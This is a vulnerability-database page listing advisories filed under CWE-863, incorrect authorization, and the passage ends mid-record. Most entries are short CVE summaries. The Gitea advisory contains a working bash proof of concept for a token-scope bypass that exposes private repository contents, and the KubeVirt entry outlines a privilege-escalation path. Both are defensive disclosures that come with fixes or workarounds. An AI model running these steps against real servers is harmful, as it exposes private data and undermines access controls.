CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
5746 vulnerabilities reference this CWE, most recent first.
GHSA-CMG9-PF33-9Q72
Vulnerability from github – Published: 2022-05-24 17:15 – Updated: 2022-05-24 17:15An issue was discovered in Joomla! before 3.9.17. Incorrect ACL checks in the access level section of com_users allow the unauthorized deletion of usergroups.
{
"affected": [],
"aliases": [
"CVE-2020-11889"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-04-21T17:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Joomla! before 3.9.17. Incorrect ACL checks in the access level section of com_users allow the unauthorized deletion of usergroups.",
"id": "GHSA-cmg9-pf33-9q72",
"modified": "2022-05-24T17:15:55Z",
"published": "2022-05-24T17:15:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11889"
},
{
"type": "WEB",
"url": "https://developer.joomla.org/security-centre/811-20200403-core-incorrect-access-control-in-com-users-access-level-deletion-function"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CMPR-J6RP-9R78
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19Non-existent provider in Samsung Health prior to 6.19.1.0001 allows attacker to access it via malicious content provider or lead to denial of service.
{
"affected": [],
"aliases": [
"CVE-2021-25506"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-05T03:15:00Z",
"severity": "MODERATE"
},
"details": "Non-existent provider in Samsung Health prior to 6.19.1.0001 allows attacker to access it via malicious content provider or lead to denial of service.",
"id": "GHSA-cmpr-j6rp-9r78",
"modified": "2022-05-24T19:19:52Z",
"published": "2022-05-24T19:19:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25506"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2021\u0026month=11"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CMWH-95WF-H584
Vulnerability from github – Published: 2022-12-26 06:30 – Updated: 2025-04-14 18:31In CWP (aka Control Web Panel or CentOS Web Panel) before 0.9.8.1107, attackers can make a crafted request to api/?api=add_server&DHCP= to add an authorized_keys text file in the /resources/ folder.
{
"affected": [],
"aliases": [
"CVE-2021-45466"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-26T05:15:00Z",
"severity": "CRITICAL"
},
"details": "In CWP (aka Control Web Panel or CentOS Web Panel) before 0.9.8.1107, attackers can make a crafted request to api/?api=add_server\u0026DHCP= to add an authorized_keys text file in the /resources/ folder.",
"id": "GHSA-cmwh-95wf-h584",
"modified": "2025-04-14T18:31:42Z",
"published": "2022-12-26T06:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45466"
},
{
"type": "WEB",
"url": "https://control-webpanel.com/changelog"
},
{
"type": "WEB",
"url": "https://octagon.net/blog/2022/01/22/cve-2021-45467-cwp-centos-web-panel-preauth-rce"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CP2M-J67P-96QC
Vulnerability from github – Published: 2025-05-13 00:31 – Updated: 2025-11-03 21:33The issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.7.6, macOS Sequoia 15.5, macOS Sonoma 14.7.6. An app may be able to bypass ASLR.
{
"affected": [],
"aliases": [
"CVE-2025-30440"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-12T22:15:21Z",
"severity": "MODERATE"
},
"details": "The issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.7.6, macOS Sequoia 15.5, macOS Sonoma 14.7.6. An app may be able to bypass ASLR.",
"id": "GHSA-cp2m-j67p-96qc",
"modified": "2025-11-03T21:33:48Z",
"published": "2025-05-13T00:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30440"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122716"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122717"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122718"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/May/7"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/May/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CP3Q-VRJ2-GHHH
Vulnerability from github – Published: 2026-07-21 20:38 – Updated: 2026-07-21 20:38Summary
A personal access token (PAT) or OAuth2 token that does not carry the
repository scope or that is public-only is correctly rejected (HTTP 403)
by the recently hardened web content routes (archive download, raw/media file
download, and repository RSS/Atom feeds). However, the repository home page route
GET /{owner}/{repo} (handler repo.Home) serves the private repository's
rendered README, root file/directory tree, description, language statistics,
license, and latest-release information to that same token.
This is a token-scope enforcement bypass and private-repository content disclosure. It is the same source→sink pattern already fixed for neighbouring routes in:
- GHSA-cr4g-f395-h25h (CVE-2026-20706) token scope bypass on web archive download
- GHSA-3pww-vcvm-3gmj (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds
repo.Home is the remaining token-auth-enabled content route that was not given
the guard.
Details / Root cause
Web routes accept token authentication only when explicitly opted in with
webAuth.AllowBasic / webAuth.AllowOAuth2. The repository home route carries
AllowBasic (added so that go get can resolve private modules):
// routers/web/web.go:1256
m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic,
context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),
repo.SetEditorconfigIfExists, repo.Home)
When a PAT/OAuth2 token is supplied via HTTP Basic auth, services/auth/basic.go
sets IsApiToken = true and records ApiTokenScope:
// services/auth/basic.go
store.GetData()["IsApiToken"] = true
store.GetData()["ApiTokenScope"] = token.Scope
The patched sibling handlers all call the web-side scope guard
context.CheckRepoScopedToken(...), which enforces both the public-only
restriction and the repository scope:
routers/web/repo/download.go:23 (raw / media / archive) ← GHSA-cr4g
routers/web/feed/render.go:15 (all repo feeds) ← GHSA-3pww
routers/web/repo/attachment.go:190 (attachments / release assets, centralized)
routers/web/repo/githttp.go:161 (git smart HTTP) ← GHSA-cc8w
repo.Home (routers/web/repo/view_home.go:389) performs no such check. Its
only gate is checkHomeCodeViewable, which verifies the user's permission and
that the code unit is enabled neither of which constrains the token's scope.
The README, file listing, and sidebar are then rendered. (The
handleRepoHomeFeed sub-path is guarded via ShowRepoFeed, but the HTML repo
view is not.)
Proof of Concept
Reproduced against gitea/gitea:main-nightly (build g2e1be0b114, identical to
the source commit above). A private repository admin/secretrepo is created, and
a token is minted with only the read:user scope (no repository scope).
=== anonymous baseline (repository is private) ===
anon GET /admin/secretrepo HTTP=404
=== same no-repo-scope token across routes ===
API repo get (proves token lacks repo scope) HTTP=403 canary=0
/admin/secretrepo/archive/main.zip (control) HTTP=403 canary=0
/admin/secretrepo/raw/branch/main/README.md HTTP=403 canary=0
/admin/secretrepo.rss (control) HTTP=403 canary=0
/admin/secretrepo (repo.Home, VULN) HTTP=200 canary=1
A second token with scope public-only,read:repository behaves identically:
/archive → 403, but /admin/secretrepo → 200 and returns the private content.
canary=1 means the private README marker was returned in the HTML response; the
private file name SECRET.md is also disclosed in the rendered file tree.
Full self-contained reproducer (Docker, prints a PASS/FAIL verdict):
#!/usr/bin/env bash
set -euo pipefail
N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2'
docker rm -f $N >/dev/null 2>&1 || true
docker run -d --name $N \
-e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \
-e GITEA__server__ROOT_URL=http://localhost:3000/ \
-e GITEA__service__DISABLE_REGISTRATION=true \
-p 3000:3000 gitea/gitea:main-nightly >/dev/null
for i in $(seq 1 40); do
[ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done
docker exec -u git $N gitea admin user create --admin --username admin \
--password "$PW" --email admin@example.com --must-change-password=false >/dev/null
curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \
-H 'Content-Type: application/json' \
-d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null
SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
| python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])")
curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
-H 'Content-Type: application/json' \
-d '{"content":"'"$(printf '# %s\nprivate' "$CANARY" | base64)"'","message":"u","sha":"'"$SHA"'","branch":"main"}' >/dev/null
TOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \
--scopes read:user --token-name norepo --raw | tail -1)
echo "anon : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)"
for p in "archive/main.zip" "raw/branch/main/README.md" ".rss" ""; do
o=$(curl -s -u admin:"$TOK" -w '|%{http_code}' "http://localhost:3000/admin/secretrepo${p:+/}$p")
echo "/$p -> ${o##*|} canary=$(printf '%s' "$o" | grep -c "$CANARY" || true)"
done
echo "PASS if controls=403/404 and repo.Home (last line)=200 canary=1"
docker rm -f $N >/dev/null
Impact
Any holder of a non-repository-scoped or public-only token belonging to a user
who has access to private repositories can read those repositories' README, root
file/directory listing, description, languages, license, and latest release
content the token was explicitly scoped to be unable to read. This defeats the
purpose of fine-grained and public-only tokens (for example a CI token granted
only read:issue, or a public-only token issued to a third-party integration).
The disclosure is bounded to the repository root view because the deeper
/{owner}/{repo}/src/* routes do not enable AllowBasic.
Suggested remediation
Mirror the sibling handlers: at the start of repo.Home
(routers/web/repo/view_home.go), or as route middleware on routers/web/web.go:1256,
add:
context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)
if ctx.Written() {
return
}
It is also worth auditing the other AllowBasic/AllowOAuth2 web routes that
render repository data for the same omission notably
actions.GetWorkflowBadge (routers/web/web.go:1568), which currently exposes a
private repository's workflow build status (pass/fail) to a token without the
repository scope (lower impact, possibly intended since badges are designed to
be embeddable, but worth confirming).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58444"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:38:31Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nA personal access token (PAT) or OAuth2 token that does **not** carry the\n`repository` scope or that is **public-only** is correctly rejected (HTTP 403)\nby the recently hardened web content routes (archive download, raw/media file\ndownload, and repository RSS/Atom feeds). However, the repository home page route\n`GET /{owner}/{repo}` (handler `repo.Home`) serves the **private** repository\u0027s\nrendered README, root file/directory tree, description, language statistics,\nlicense, and latest-release information to that same token.\n\nThis is a token-scope enforcement bypass and private-repository content\ndisclosure. It is the same source\u2192sink pattern already fixed for neighbouring\nroutes in:\n\n- **GHSA-cr4g-f395-h25h** (CVE-2026-20706) token scope bypass on web archive download\n- **GHSA-3pww-vcvm-3gmj** (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds\n\n`repo.Home` is the remaining token-auth-enabled content route that was not given\nthe guard.\n\n### Details / Root cause\nWeb routes accept token authentication only when explicitly opted in with\n`webAuth.AllowBasic` / `webAuth.AllowOAuth2`. The repository home route carries\n`AllowBasic` (added so that `go get` can resolve private modules):\n\n```go\n// routers/web/web.go:1256\nm.Get(\"/{username}/{reponame}\", optSignIn, webAuth.AllowBasic,\n context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),\n repo.SetEditorconfigIfExists, repo.Home)\n```\n\nWhen a PAT/OAuth2 token is supplied via HTTP Basic auth, `services/auth/basic.go`\nsets `IsApiToken = true` and records `ApiTokenScope`:\n\n```go\n// services/auth/basic.go\nstore.GetData()[\"IsApiToken\"] = true\nstore.GetData()[\"ApiTokenScope\"] = token.Scope\n```\n\nThe patched sibling handlers all call the web-side scope guard\n`context.CheckRepoScopedToken(...)`, which enforces both the public-only\nrestriction and the `repository` scope:\n\n```\nrouters/web/repo/download.go:23 (raw / media / archive) \u2190 GHSA-cr4g\nrouters/web/feed/render.go:15 (all repo feeds) \u2190 GHSA-3pww\nrouters/web/repo/attachment.go:190 (attachments / release assets, centralized)\nrouters/web/repo/githttp.go:161 (git smart HTTP) \u2190 GHSA-cc8w\n```\n\n`repo.Home` (`routers/web/repo/view_home.go:389`) performs **no** such check. Its\nonly gate is `checkHomeCodeViewable`, which verifies the **user\u0027s** permission and\nthat the code unit is enabled neither of which constrains the **token\u0027s** scope.\nThe README, file listing, and sidebar are then rendered. (The\n`handleRepoHomeFeed` sub-path is guarded via `ShowRepoFeed`, but the HTML repo\nview is not.)\n\n### Proof of Concept\nReproduced against `gitea/gitea:main-nightly` (build `g2e1be0b114`, identical to\nthe source commit above). A private repository `admin/secretrepo` is created, and\na token is minted with **only** the `read:user` scope (no `repository` scope).\n\n```\n=== anonymous baseline (repository is private) ===\n anon GET /admin/secretrepo HTTP=404\n=== same no-repo-scope token across routes ===\n API repo get (proves token lacks repo scope) HTTP=403 canary=0\n /admin/secretrepo/archive/main.zip (control) HTTP=403 canary=0\n /admin/secretrepo/raw/branch/main/README.md HTTP=403 canary=0\n /admin/secretrepo.rss (control) HTTP=403 canary=0\n /admin/secretrepo (repo.Home, VULN) HTTP=200 canary=1\n```\n\nA second token with scope `public-only,read:repository` behaves identically:\n`/archive` \u2192 403, but `/admin/secretrepo` \u2192 200 and returns the private content.\n\n`canary=1` means the private README marker was returned in the HTML response; the\nprivate file name `SECRET.md` is also disclosed in the rendered file tree.\n\nFull self-contained reproducer (Docker, prints a PASS/FAIL verdict):\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\nN=gitea-poc; PW=\u0027Adm1n!pass99\u0027; CANARY=\u0027TOP-SECRET-CANARY-9F3A2\u0027\ndocker rm -f $N \u003e/dev/null 2\u003e\u00261 || true\ndocker run -d --name $N \\\n -e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \\\n -e GITEA__server__ROOT_URL=http://localhost:3000/ \\\n -e GITEA__service__DISABLE_REGISTRATION=true \\\n -p 3000:3000 gitea/gitea:main-nightly \u003e/dev/null\nfor i in $(seq 1 40); do\n [ \"$(curl -s -o /dev/null -w \u0027%{http_code}\u0027 http://localhost:3000/api/healthz)\" = 200 ] \u0026\u0026 break; sleep 2; done\ndocker exec -u git $N gitea admin user create --admin --username admin \\\n --password \"$PW\" --email admin@example.com --must-change-password=false \u003e/dev/null\ncurl -s -u admin:\"$PW\" -X POST http://localhost:3000/api/v1/user/repos \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"name\":\"secretrepo\",\"private\":true,\"auto_init\":true,\"default_branch\":\"main\"}\u0027 \u003e/dev/null\nSHA=$(curl -s -u admin:\"$PW\" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \\\n | python3 -c \"import json,sys;print(json.load(sys.stdin)[\u0027sha\u0027])\")\ncurl -s -u admin:\"$PW\" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"content\":\"\u0027\"$(printf \u0027# %s\\nprivate\u0027 \"$CANARY\" | base64)\"\u0027\",\"message\":\"u\",\"sha\":\"\u0027\"$SHA\"\u0027\",\"branch\":\"main\"}\u0027 \u003e/dev/null\nTOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \\\n --scopes read:user --token-name norepo --raw | tail -1)\necho \"anon : $(curl -s -o /dev/null -w \u0027%{http_code}\u0027 http://localhost:3000/admin/secretrepo)\"\nfor p in \"archive/main.zip\" \"raw/branch/main/README.md\" \".rss\" \"\"; do\n o=$(curl -s -u admin:\"$TOK\" -w \u0027|%{http_code}\u0027 \"http://localhost:3000/admin/secretrepo${p:+/}$p\")\n echo \"/$p -\u003e ${o##*|} canary=$(printf \u0027%s\u0027 \"$o\" | grep -c \"$CANARY\" || true)\"\ndone\necho \"PASS if controls=403/404 and repo.Home (last line)=200 canary=1\"\ndocker rm -f $N \u003e/dev/null\n```\n\n### Impact\nAny holder of a non-`repository`-scoped or public-only token belonging to a user\nwho has access to private repositories can read those repositories\u0027 README, root\nfile/directory listing, description, languages, license, and latest release\ncontent the token was explicitly scoped to be unable to read. This defeats the\npurpose of fine-grained and public-only tokens (for example a CI token granted\nonly `read:issue`, or a `public-only` token issued to a third-party integration).\n\nThe disclosure is bounded to the repository root view because the deeper\n`/{owner}/{repo}/src/*` routes do not enable `AllowBasic`.\n\n### Suggested remediation\nMirror the sibling handlers: at the start of `repo.Home`\n(`routers/web/repo/view_home.go`), or as route middleware on `routers/web/web.go:1256`,\nadd:\n\n```go\ncontext.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)\nif ctx.Written() {\n return\n}\n```\n\nIt is also worth auditing the other `AllowBasic`/`AllowOAuth2` web routes that\nrender repository data for the same omission notably\n`actions.GetWorkflowBadge` (`routers/web/web.go:1568`), which currently exposes a\nprivate repository\u0027s workflow build status (pass/fail) to a token without the\n`repository` scope (lower impact, possibly intended since badges are designed to\nbe embeddable, but worth confirming).",
"id": "GHSA-cp3q-vrj2-ghhh",
"modified": "2026-07-21T20:38:31Z",
"published": "2026-07-21T20:38:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-cp3q-vrj2-ghhh"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents"
}
GHSA-CP44-FG22-HR42
Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-06-29 00:00An improper access control information disclosure vulnerability in Trend Micro Apex One, Apex One as a Service, OfficeScan XG SP1, and Worry-Free Business Security could allow an unauthenticated user to create a bogus agent on an affected server that could be used then make valid configuration queries.
{
"affected": [],
"aliases": [
"CVE-2021-25246"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-04T20:15:00Z",
"severity": "MODERATE"
},
"details": "An improper access control information disclosure vulnerability in Trend Micro Apex One, Apex One as a Service, OfficeScan XG SP1, and Worry-Free Business Security could allow an unauthenticated user to create a bogus agent on an affected server that could be used then make valid configuration queries.",
"id": "GHSA-cp44-fg22-hr42",
"modified": "2022-06-29T00:00:48Z",
"published": "2022-05-24T17:41:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25246"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/solution/000284202"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/solution/000284205"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/solution/000284206"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-117"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CP57-2F38-RJXG
Vulnerability from github – Published: 2022-05-24 16:52 – Updated: 2023-03-03 18:30The inline-create rest resource in Jira before version 7.12.3 allows authenticated remote attackers to set the reporter in issues via a missing authorisation check.
{
"affected": [],
"aliases": [
"CVE-2018-20826"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-09T20:15:00Z",
"severity": "MODERATE"
},
"details": "The inline-create rest resource in Jira before version 7.12.3 allows authenticated remote attackers to set the reporter in issues via a missing authorisation check.",
"id": "GHSA-cp57-2f38-rjxg",
"modified": "2023-03-03T18:30:24Z",
"published": "2022-05-24T16:52:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20826"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/JRASERVER-69239"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CP57-7C6J-PXFG
Vulnerability from github – Published: 2024-11-19 18:31 – Updated: 2024-11-20 18:32In restorePermissionState of PermissionManagerServiceImpl.java, there is a possible way for an app to keep permissions that should be revoked due to incorrect permission flags cleared during an update. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2023-21270"
],
"database_specific": {
"cwe_ids": [
"CWE-276",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-19T18:15:19Z",
"severity": "HIGH"
},
"details": "In restorePermissionState of PermissionManagerServiceImpl.java, there is a possible way for an app to keep permissions that should be revoked due to incorrect permission flags cleared during an update. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-cp57-7c6j-pxfg",
"modified": "2024-11-20T18:32:16Z",
"published": "2024-11-19T18:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21270"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2023-08-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CP7V-VMV7-6X2Q
Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2022-07-01 21:34Undertow before versions 1.4.18.SP1 (not findable in Maven), 2.0.2.Final, and 1.4.24.Final was found vulnerable when using Digest authentication, the server does not ensure that the value of URI in the Authorization header matches the URI in HTTP request line. This allows the attacker to cause a MITM attack and access the desired content on the server.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.1.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.undertow:undertow-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0.Alpha1"
},
{
"fixed": "2.0.2.FInal"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.23.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.undertow:undertow-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.24.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-12196"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-01T21:34:47Z",
"nvd_published_at": "2018-04-18T01:29:00Z",
"severity": "MODERATE"
},
"details": "Undertow before versions 1.4.18.SP1 (not findable in Maven), 2.0.2.Final, and 1.4.24.Final was found vulnerable when using Digest authentication, the server does not ensure that the value of URI in the Authorization header matches the URI in HTTP request line. This allows the attacker to cause a MITM attack and access the desired content on the server.",
"id": "GHSA-cp7v-vmv7-6x2q",
"modified": "2022-07-01T21:34:47Z",
"published": "2022-05-13T01:38:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12196"
},
{
"type": "WEB",
"url": "https://github.com/undertow-io/undertow/commit/facb33a5cedaf4b7b96d3840a08210370a806870"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0478"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0479"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0480"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0481"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:1525"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2405"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:3768"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-12196"
},
{
"type": "PACKAGE",
"url": "https://github.com/undertow-io/undertow"
},
{
"type": "WEB",
"url": "https://issues.jboss.org/browse/UNDERTOW-1190"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Incorrect Authorization in Undertow"
}
GHSA-CP96-JPMQ-XRR2
Vulnerability from github – Published: 2023-03-16 16:04 – Updated: 2023-03-27 22:24Impact
If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.
This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.
The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.
Since this requires a node to be compromised first, the severity of this finding is considered Medium.
Patches
Not yet available.
Workarounds
Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.
An example policy, preventing virt-handler from changing the node spec may look like this:
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
name: virthandlerrestrictions
spec:
[...]
targets:
- libs:
- |
[...]
is_virt_handler(username) {
username == "system:serviceaccount:kubevirt:virt-handler"
}
mutates_node_in_unintended_way {
# TODO
# only allow kubevirt.io/ prefixed metadata node changes
}
rego: |
[...]
violation[{"msg": msg}] {
is_virt_handler(username)
mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
}
and applying this template to node modifications.
Credits
Special thanks to the discoverers of this issue:
Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)
References
https://github.com/kubevirt/kubevirt/issues/9109
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "kubevirt.io/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.59.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-26484"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-16T16:04:42Z",
"nvd_published_at": "2023-03-15T21:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nIf a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.\n\nThis can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.\n\nThe simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.\n\nSince this requires a node to be compromised first, the severity of this finding is considered Medium.\n\n### Patches\n\nNot yet available.\n\n### Workarounds\nGatekeeper users can add a webhook which will block the `virt-handler` service account to modify the spec of a node.\n\nAn example policy, preventing virt-handler from changing the node spec may look like this:\n\n```yaml\napiVersion: templates.gatekeeper.sh/v1\nkind: ConstraintTemplate\nmetadata:\n name: virthandlerrestrictions\nspec:\n[...]\n targets:\n - libs:\n - | \n[...] \n is_virt_handler(username) {\n username == \"system:serviceaccount:kubevirt:virt-handler\"\n }\n mutates_node_in_unintended_way {\n # TODO\n # only allow kubevirt.io/ prefixed metadata node changes\n }\n rego: |\n[...]\n \n violation[{\"msg\": msg}] {\n is_virt_handler(username)\n mutates_node_in_unintended_way(input.review.object, input.review.oldObject)\n msg := sprintf(\"virt-handler tries to modify node \u003c%v\u003e in an unintended way.\", [input.review.object.name])\n }\n```\n\nand applying this template to node modifications.\n\n\n### Credits\n\nSpecial thanks to the discoverers of this issue:\n\nNanzi Yang (nzyang@stu.xidian.edu.cn)\nXin Guo (guox@stu.xidian.edu.cn)\nJietao Xiao (jietaoXiao@stu.xidian.edu.cn)\nWenbo Shen (shenwenbo@zju.edu.cn)\nJinku Li (jkli@xidian.edu.cn)\n\n### References\n\nhttps://github.com/kubevirt/kubevirt/issues/9109",
"id": "GHSA-cp96-jpmq-xrr2",
"modified": "2023-03-27T22:24:34Z",
"published": "2023-03-16T16:04:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-cp96-jpmq-xrr2"
},
{
"type": "ADVISORY",
